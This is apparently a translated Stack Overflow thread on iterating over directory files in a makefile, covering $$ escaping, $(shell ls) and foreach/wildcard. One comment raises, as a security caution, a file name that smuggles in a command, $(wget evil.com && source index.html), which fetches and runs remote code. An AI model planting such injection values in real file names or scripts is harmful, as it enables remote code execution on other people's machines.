【问题标题】:simple loop over files in some directory makefile简单循环某个目录makefile中的文件
【发布时间】:2019-05-29 22:51:49
【问题描述】:

我可以轻松打印来自bash的某个目录中的所有文件:

$ cat go.sh
BASEDIR=~/Downloads
MYDIR=${BASEDIR}/ddd
for f in $(ls ${MYDIR}); do echo $f; done

$ ./go.sh
m.txt
d.txt

当我尝试从makefile 做类似的事情时,效果不佳:

$ cat makefile
BASEDIR = ${HOME}/Downloads
MYDIR = ${BASEDIR}/ddd
all:
    for f in $(ls ${MYDIR}); do echo ${f}; done

$ make
for f in ; do echo ; done

这是另一个不起作用的试验:

$ cat makefile
BASEDIR = ${HOME}/Downloads
MYDIR = ${BASEDIR}/ddd
all:
    for f in $(shell ls ${MYDIR}); do echo ${f}; done

$ make
for f in d.txt m.txt; do echo ; done

【问题讨论】:

  • 你必须记住 $ 是特殊的。每当您在 makefile 配方中编写 shell 命令时,您必须转义您想要放入 shell 命令(您希望 shell 看到)的任何 $。所以你的食谱应该是for f in $$(ls ${MYDIR}); do echo $$f; done

标签: bash makefile ls


【解决方案1】:

@Oo.oO's answer有点问题。

如果在makefile中有任何文件/文件夹与目标同名,并且该目标有一些先决条件,并且您想循环访问该文件夹,您将执行该目标配方。

例如:如果您有一个名为 build 的文件夹,并且您有如下规则:

build: clean server client

clean:
    @echo project cleaned!
server:
    @echo server built!
client:
    @echo client built!

要遍历包含特殊build 文件夹的文件夹,假设您有以下规则:

MYDIR = .
ls: $(MYDIR)/*
    @echo $^

结果将是:

$ make ls
project cleaned!
server built!
client built!
build Makefile

我建议使用@Mike Pylypyshyn's solution。根据the make documentation的说法,foreach函数更适合这种情况。

【讨论】:

    【解决方案2】:

    也几乎是文档中的“真实方式”

    TEMPLATES_DIR = ./somedir
    
    list: 
        $(foreach file, $(wildcard $(TEMPLATES_DIR)/*), echo $(file);)
    

    【讨论】:

    • 不知何故 TEMPLATES_DIR = ./somedir 部分对我不起作用 - 列出的文件来自根目录“/”,无论我使用相对路径还是绝对路径。你知道我的情况可能出了什么问题吗? - - - - 没关系。我想到了。在./somdir 之后我有一个额外的空间...
    【解决方案3】:

    也许你可以用纯 Makefile 的方式来做?

    MYDIR = .
    list: $(MYDIR)/*
            @echo $^
    

    你仍然可以像这样从 Makefile 运行命令

    MYDIR = .
    list: $(MYDIR)/*
            for file in $^ ; do \
                    echo "Hello" $${file} ; \
            done
    

    如果我是你,我宁愿不基于$(shell ...) 混合 Makefile 和 bash 循环。我宁愿将目录名称传递给某个脚本并在那里运行循环 - 在脚本内。

    【讨论】:

    • hmmm ...我想要的不仅仅是打印文件名。我准备了这个最小的完整示例,以便我可以在 makefile 中使用 bash 循环。
    • 我认为缺少的是(双)美元符号($$)。我接受了您的回答,并在单独的答案中发布了工作解决方案。谢谢!
    • 在配方中使用 GNU make $(shell ...) 函数是一种反模式。这种行为令人困惑。
    • 嘿,如果文件名类似于$(wget evil.com && source index.html),会发生什么?是否会指示 shell 下载并执行文件,使用结果作为循环输入?
    • 我猜,你必须试一试;)
    【解决方案4】:

    这是基于@Oo.oO 编辑的答案:

    $ cat makefile
    BASEDIR = ${HOME}/Downloads
    MYDIR = ${BASEDIR}/ddd
    all:
        @for f in $(shell ls ${MYDIR}); do echo $${f}; done
    
    $ make
    d.txt
    m.txt
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2011-06-23
      • 2016-03-11
      • 1970-01-01
      • 1970-01-01
      • 2011-05-05
      • 2018-08-27
      相关资源
      最近更新 更多